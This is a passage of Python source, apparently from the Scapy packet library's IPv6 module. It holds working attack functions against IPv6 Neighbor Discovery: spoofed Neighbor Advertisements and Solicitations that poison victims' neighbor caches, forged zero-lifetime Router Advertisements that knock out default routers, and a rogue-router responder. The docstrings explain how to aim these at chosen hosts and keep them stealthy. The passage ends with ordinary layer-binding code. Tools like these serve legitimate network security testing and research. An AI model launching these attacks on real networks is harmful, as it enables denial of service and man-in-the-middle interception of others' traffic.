3737 be sent, i.e. the emitter will be a target of the DoS.
3739 reply_mac: allow specifying a specific source mac address for the reply,
3740 i.e. to prevent the use of the mac address of the interface. This
3741 address will also be used in the Target Link-Layer Address option.
3742 """
3744 def na_reply_callback(req, reply_mac, iface):
3745 """
3746 Callback that reply to a NS with a NA
3747 """
3749 # Let's build a reply and send it
3750 mac = req[Ether].src
3751 dst = req[IPv6].dst
3752 tgt = req[ICMPv6ND_NS].tgt
3753 rep = Ether(src=reply_mac) / IPv6(src=tgt, dst=dst)
3754 rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1) # noqa: E741
3755 rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
3756 sendp(rep, iface=iface, verbose=0)
3758 print("Reply NA for target address %s (received from %s)" % (tgt, mac))
3760 _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter,
3761 tgt_filter, reply_mac)
3764def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None,
3765 reply_mac=None, router=False):
3766 """
3767 The main purpose of this function is to send fake Neighbor Advertisement
3768 messages to a victim. As the emission of unsolicited Neighbor Advertisement
3769 is pretty pointless (from an attacker standpoint) because it will not
3770 lead to a modification of a victim's neighbor cache, the function send
3771 advertisements in response to received NS (NS sent as part of the DAD,
3772 i.e. with an unspecified address as source, are not considered).
3774 By default, the fake NA sent to create the DoS uses:
3775 - as target address the target address found in received NS.
3776 - as IPv6 source address: the target address
3777 - as IPv6 destination address: the source IPv6 address of received NS
3778 message.
3779 - the mac address of the interface as source (or reply_mac, see below).
3780 - the source mac address of the received NS as destination macs address
3781 of the emitted NA.
3782 - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr)
3783 filled with the mac address used as source of the NA.
3785 Following arguments can be used to change the behavior:
3787 iface: a specific interface (e.g. "eth0") of the system on which the
3788 DoS should be launched. If None is provided conf.iface is used.
3790 mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3791 Only NS messages received from this source will trigger replies.
3792 This allows limiting the effects of the DoS to a single target by
3793 filtering on its mac address. The default value is None: the DoS
3794 is not limited to a specific mac address.
3796 tgt_filter: Same as previous but for a specific target IPv6 address for
3797 received NS. If the target address in the NS message (not the IPv6
3798 destination address) matches that address, then a fake reply will
3799 be sent, i.e. the emitter will be a target of the DoS.
3801 reply_mac: allow specifying a specific source mac address for the reply,
3802 i.e. to prevent the use of the mac address of the interface. This
3803 address will also be used in the Target Link-Layer Address option.
3805 router: by the default (False) the 'R' flag in the NA used for the reply
3806 is not set. If the parameter is set to True, the 'R' flag in the
3807 NA is set, advertising us as a router.
3809 Please, keep the following in mind when using the function: for obvious
3810 reasons (kernel space vs. Python speed), when the target of the address
3811 resolution is on the link, the sender of the NS receives 2 NA messages
3812 in a row, the valid one and our fake one. The second one will overwrite
3813 the information provided by the first one, i.e. the natural latency of
3814 Scapy helps here.
3816 In practice, on a common Ethernet link, the emission of the NA from the
3817 genuine target (kernel stack) usually occurs in the same millisecond as
3818 the receipt of the NS. The NA generated by Scapy6 will usually come after
3819 something 20+ ms. On a usual testbed for instance, this difference is
3820 sufficient to have the first data packet sent from the victim to the
3821 destination before it even receives our fake NA.
3822 """
3824 def is_request(req, mac_src_filter, tgt_filter):
3825 """
3826 Check if packet req is a request
3827 """
3829 # Those simple checks are based on Section 5.4.2 of RFC 4862
3830 if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
3831 return 0
3833 mac_src = req[Ether].src
3834 if mac_src_filter and mac_src != mac_src_filter:
3835 return 0
3837 # Source must NOT be the unspecified address
3838 if req[IPv6].src == "::":
3839 return 0
3841 tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
3842 if tgt_filter and tgt != tgt_filter:
3843 return 0
3845 dst = req[IPv6].dst
3846 if in6_isllsnmaddr(dst): # Address is Link Layer Solicited Node mcast.
3848 # If this is a real address resolution NS, then the destination
3849 # address of the packet is the link-local solicited node multicast
3850 # address associated with the target of the NS.
3851 # Otherwise, the NS is a NUD related one, i.e. the peer is
3852 # unicasting the NS to check the target is still alive (L2
3853 # information is still in its cache and it is verified)
3854 received_snma = inet_pton(socket.AF_INET6, dst)
3855 expected_snma = in6_getnsma(tgt)
3856 if received_snma != expected_snma:
3857 print("solicited node multicast @ does not match target @!")
3858 return 0
3860 return 1
3862 def reply_callback(req, reply_mac, router, iface):
3863 """
3864 Callback that reply to a NS with a spoofed NA
3865 """
3867 # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and
3868 # send it back.
3869 mac = req[Ether].src
3870 pkt = req[IPv6]
3871 src = pkt.src
3872 tgt = req[ICMPv6ND_NS].tgt
3873 rep = Ether(src=reply_mac, dst=mac) / IPv6(src=tgt, dst=src)
3874 # Use the target field from the NS
3875 rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1) # noqa: E741
3877 # "If the solicitation IP Destination Address is not a multicast
3878 # address, the Target Link-Layer Address option MAY be omitted"
3879 # Given our purpose, we always include it.
3880 rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
3882 sendp(rep, iface=iface, verbose=0)
3884 print("Reply NA for target address %s (received from %s)" % (tgt, mac))
3886 if not iface:
3887 iface = conf.iface
3888 # To prevent sniffing our own traffic
3889 if not reply_mac:
3890 reply_mac = get_if_hwaddr(iface)
3891 sniff_filter = "icmp6 and not ether src %s" % reply_mac
3893 router = 1 if router else 0 # Value of the R flags in NA
3895 sniff(store=0,
3896 filter=sniff_filter,
3897 lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
3898 prn=lambda x: reply_callback(x, reply_mac, router, iface),
3899 iface=iface)
3902def NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1",
3903 dst=None, src_mac=None, dst_mac=None, loop=True,
3904 inter=1, iface=None):
3905 """
3906 The main purpose of this function is to send fake Neighbor Solicitations
3907 messages to a victim, in order to either create a new entry in its neighbor
3908 cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated
3909 that a node SHOULD create the entry or update an existing one (if it is not
3910 currently performing DAD for the target of the NS). The entry's reachability # noqa: E501
3911 state is set to STALE.
3913 The two main parameters of the function are the source link-layer address
3914 (carried by the Source Link-Layer Address option in the NS) and the
3915 source address of the packet.
3917 Unlike some other NDP_Attack_* function, this one is not based on a
3918 stimulus/response model. When called, it sends the same NS packet in loop
3919 every second (the default)
3921 Following arguments can be used to change the format of the packets:
3923 src_lladdr: the MAC address used in the Source Link-Layer Address option
3924 included in the NS packet. This is the address that the peer should
3925 associate in its neighbor cache with the IPv6 source address of the
3926 packet. If None is provided, the mac address of the interface is
3927 used.
3929 src: the IPv6 address used as source of the packet. If None is provided,
3930 an address associated with the emitting interface will be used
3931 (based on the destination address of the packet).
3933 target: the target address of the NS packet. If no value is provided,
3934 a dummy address (2001:db8::1) is used. The value of the target
3935 has a direct impact on the destination address of the packet if it
3936 is not overridden. By default, the solicited-node multicast address
3937 associated with the target is used as destination address of the
3938 packet. Consider specifying a specific destination address if you
3939 intend to use a target address different than the one of the victim.
3941 dst: The destination address of the NS. By default, the solicited node
3942 multicast address associated with the target address (see previous
3943 parameter) is used if no specific value is provided. The victim
3944 is not expected to check the destination address of the packet,
3945 so using a multicast address like ff02::1 should work if you want
3946 the attack to target all hosts on the link. On the contrary, if
3947 you want to be more stealth, you should provide the target address
3948 for this parameter in order for the packet to be sent only to the
3949 victim.
3951 src_mac: the MAC address used as source of the packet. By default, this
3952 is the address of the interface. If you want to be more stealth,
3953 feel free to use something else. Note that this address is not the
3954 that the victim will use to populate its neighbor cache.
3956 dst_mac: The MAC address used as destination address of the packet. If
3957 the IPv6 destination address is multicast (all-nodes, solicited
3958 node, ...), it will be computed. If the destination address is
3959 unicast, a neighbor solicitation will be performed to get the
3960 associated address. If you want the attack to be stealth, you
3961 can provide the MAC address using this parameter.
3963 loop: By default, this parameter is True, indicating that NS packets
3964 will be sent in loop, separated by 'inter' seconds (see below).
3965 When set to False, a single packet is sent.
3967 inter: When loop parameter is True (the default), this parameter provides
3968 the interval in seconds used for sending NS packets.
3970 iface: to force the sending interface.
3971 """
3973 if not iface:
3974 iface = conf.iface
3976 # Use provided MAC address as source link-layer address option
3977 # or the MAC address of the interface if none is provided.
3978 if not src_lladdr:
3979 src_lladdr = get_if_hwaddr(iface)
3981 # Prepare packets parameters
3982 ether_params = {}
3983 if src_mac:
3984 ether_params["src"] = src_mac
3986 if dst_mac:
3987 ether_params["dst"] = dst_mac
3989 ipv6_params = {}
3990 if src:
3991 ipv6_params["src"] = src
3992 if dst:
3993 ipv6_params["dst"] = dst
3994 else:
3995 # Compute the solicited-node multicast address
3996 # associated with the target address.
3997 tmp = inet_ntop(socket.AF_INET6,
3998 in6_getnsma(inet_pton(socket.AF_INET6, target)))
3999 ipv6_params["dst"] = tmp
4001 pkt = Ether(**ether_params)
4002 pkt /= IPv6(**ipv6_params)
4003 pkt /= ICMPv6ND_NS(tgt=target)
4004 pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr)
4006 sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0)
4009def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None,
4010 ip_src_filter=None, reply_mac=None,
4011 tgt_mac=None):
4012 """
4013 The purpose of the function is to monitor incoming RA messages
4014 sent by default routers (RA with a non-zero Router Lifetime values)
4015 and invalidate them by immediately replying with fake RA messages
4016 advertising a zero Router Lifetime value.
4018 The result on receivers is that the router is immediately invalidated,
4019 i.e. the associated entry is discarded from the default router list
4020 and destination cache is updated to reflect the change.
4022 By default, the function considers all RA messages with a non-zero
4023 Router Lifetime value but provides configuration knobs to allow
4024 filtering RA sent by specific routers (Ethernet source address).
4025 With regard to emission, the multicast all-nodes address is used
4026 by default but a specific target can be used, in order for the DoS to
4027 apply only to a specific host.
4029 More precisely, following arguments can be used to change the behavior:
4031 iface: a specific interface (e.g. "eth0") of the system on which the
4032 DoS should be launched. If None is provided conf.iface is used.
4034 mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
4035 Only RA messages received from this source will trigger replies.
4036 If other default routers advertised their presence on the link,
4037 their clients will not be impacted by the attack. The default
4038 value is None: the DoS is not limited to a specific mac address.
4040 ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
4041 on. Only RA messages received from this source address will trigger
4042 replies. If other default routers advertised their presence on the
4043 link, their clients will not be impacted by the attack. The default
4044 value is None: the DoS is not limited to a specific IPv6 source
4045 address.
4047 reply_mac: allow specifying a specific source mac address for the reply,
4048 i.e. to prevent the use of the mac address of the interface.
4050 tgt_mac: allow limiting the effect of the DoS to a specific host,
4051 by sending the "invalidating RA" only to its mac address.
4052 """
4054 def is_request(req, mac_src_filter, ip_src_filter):
4055 """
4056 Check if packet req is a request
4057 """
4059 if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req):
4060 return 0
4062 mac_src = req[Ether].src
4063 if mac_src_filter and mac_src != mac_src_filter:
4064 return 0
4066 ip_src = req[IPv6].src
4067 if ip_src_filter and ip_src != ip_src_filter:
4068 return 0
4070 # Check if this is an advertisement for a Default Router
4071 # by looking at Router Lifetime value
4072 if req[ICMPv6ND_RA].routerlifetime == 0:
4073 return 0
4075 return 1
4077 def ra_reply_callback(req, reply_mac, tgt_mac, iface):
4078 """
4079 Callback that sends an RA with a 0 lifetime
4080 """
4082 # Let's build a reply and send it
4084 src = req[IPv6].src
4086 # Prepare packets parameters
4087 ether_params = {}
4088 if reply_mac:
4089 ether_params["src"] = reply_mac
4091 if tgt_mac:
4092 ether_params["dst"] = tgt_mac
4094 # Basis of fake RA (high pref, zero lifetime)
4095 rep = Ether(**ether_params) / IPv6(src=src, dst="ff02::1")
4096 rep /= ICMPv6ND_RA(prf=1, routerlifetime=0)
4098 # Add it a PIO from the request ...
4099 tmp = req
4100 while ICMPv6NDOptPrefixInfo in tmp:
4101 pio = tmp[ICMPv6NDOptPrefixInfo]
4102 tmp = pio.payload
4103 del pio.payload
4104 rep /= pio
4106 # ... and source link layer address option
4107 if ICMPv6NDOptSrcLLAddr in req:
4108 mac = req[ICMPv6NDOptSrcLLAddr].lladdr
4109 else:
4110 mac = req[Ether].src
4111 rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac)
4113 sendp(rep, iface=iface, verbose=0)
4115 print("Fake RA sent with source address %s" % src)
4117 if not iface:
4118 iface = conf.iface
4119 # To prevent sniffing our own traffic
4120 if not reply_mac:
4121 reply_mac = get_if_hwaddr(iface)
4122 sniff_filter = "icmp6 and not ether src %s" % reply_mac
4124 sniff(store=0,
4125 filter=sniff_filter,
4126 lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
4127 prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface),
4128 iface=iface)
4131def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None,
4132 ip_src_filter=None):
4133 """
4134 The purpose of this function is to send provided RA message at layer 2
4135 (i.e. providing a packet starting with IPv6 will not work) in response
4136 to received RS messages. In the end, the function is a simple wrapper
4137 around sendp() that monitor the link for RS messages.
4139 It is probably better explained with an example:
4141 >>> ra = Ether()/IPv6()/ICMPv6ND_RA()
4142 >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64)
4143 >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64)
4144 >>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55")
4145 >>> NDP_Attack_Fake_Router(ra, iface="eth0")
4146 Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573
4147 Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae
4148 ...
4150 Following arguments can be used to change the behavior:
4152 ra: the RA message to send in response to received RS message.
4154 iface: a specific interface (e.g. "eth0") of the system on which the
4155 DoS should be launched. If none is provided, conf.iface is
4156 used.
4158 mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
4159 Only RS messages received from this source will trigger a reply.
4160 Note that no changes to provided RA is done which imply that if
4161 you intend to target only the source of the RS using this option,
4162 you will have to set the Ethernet destination address to the same
4163 value in your RA.
4164 The default value for this parameter is None: no filtering on the
4165 source of RS is done.
4167 ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
4168 on. Only RS messages received from this source address will trigger
4169 replies. Same comment as for previous argument apply: if you use
4170 the option, you will probably want to set a specific Ethernet
4171 destination address in the RA.
4172 """
4174 def is_request(req, mac_src_filter, ip_src_filter):
4175 """
4176 Check if packet req is a request
4177 """
4179 if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req):
4180 return 0
4182 mac_src = req[Ether].src
4183 if mac_src_filter and mac_src != mac_src_filter:
4184 return 0
4186 ip_src = req[IPv6].src
4187 if ip_src_filter and ip_src != ip_src_filter:
4188 return 0
4190 return 1
4192 def ra_reply_callback(req, iface):
4193 """
4194 Callback that sends an RA in reply to an RS
4195 """
4197 src = req[IPv6].src
4198 sendp(ra, iface=iface, verbose=0)
4199 print("Fake RA sent in response to RS from %s" % src)
4201 if not iface:
4202 iface = conf.iface
4203 sniff_filter = "icmp6"
4205 sniff(store=0,
4206 filter=sniff_filter,
4207 lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
4208 prn=lambda x: ra_reply_callback(x, iface),
4209 iface=iface)
4211#############################################################################
4212# Pre-load classes ##
4213#############################################################################
4216def _get_cls(name):
4217 return globals().get(name, Raw)
4220def _load_dict(d):
4221 for k, v in d.items():
4222 d[k] = _get_cls(v)
4225_load_dict(icmp6ndoptscls)
4226_load_dict(icmp6typescls)
4227_load_dict(ipv6nhcls)
4229#############################################################################
4230#############################################################################
4231# Layers binding #
4232#############################################################################
4233#############################################################################
4235conf.l3types.register(ETH_P_IPV6, IPv6)
4236conf.l3types.register_num2layer(ETH_P_ALL, IPv46)
4237conf.l2types.register(31, IPv6)
4238conf.l2types.register(DLT_IPV6, IPv6)
4239conf.l2types.register(DLT_RAW, IPv46)
4240conf.l2types.register_num2layer(DLT_RAW_ALT, IPv46)
4241if OPENBSD:
4242 conf.l2types.register_num2layer(229, IPv6)
4244bind_layers(Ether, IPv6, type=0x86dd)
4245bind_layers(CookedLinux, IPv6, proto=0x86dd)
4246bind_layers(GRE, IPv6, proto=0x86dd)
4247bind_layers(SNAP, IPv6, code=0x86dd)
4248# AF_INET6 values are platform-dependent. For a detailed explanation, read
4249# https://github.com/the-tcpdump-group/libpcap/blob/f98637ad7f086a34c4027339c9639ae1ef842df3/gencode.c#L3333-L3354 # noqa: E501
4250if WINDOWS:
4251 bind_layers(Loopback, IPv6, type=0x18)
4252else:
4253 bind_layers(Loopback, IPv6, type=socket.AF_INET6)
4254bind_layers(IPerror6, TCPerror, nh=socket.IPPROTO_TCP)
4255bind_layers(IPerror6, UDPerror, nh=socket.IPPROTO_UDP)
4256bind_layers(IPv6, TCP, nh=socket.IPPROTO_TCP)
4257bind_layers(IPv6, UDP, nh=socket.IPPROTO_UDP)
4258bind_layers(IP, IPv6, proto=socket.IPPROTO_IPV6)
4259bind_layers(IPv6, IPv6, nh=socket.IPPROTO_IPV6)
4260bind_layers(IPv6, IP, nh=socket.IPPROTO_IPIP)
4261bind_layers(IPv6, GRE, nh=socket.IPPROTO_GRE)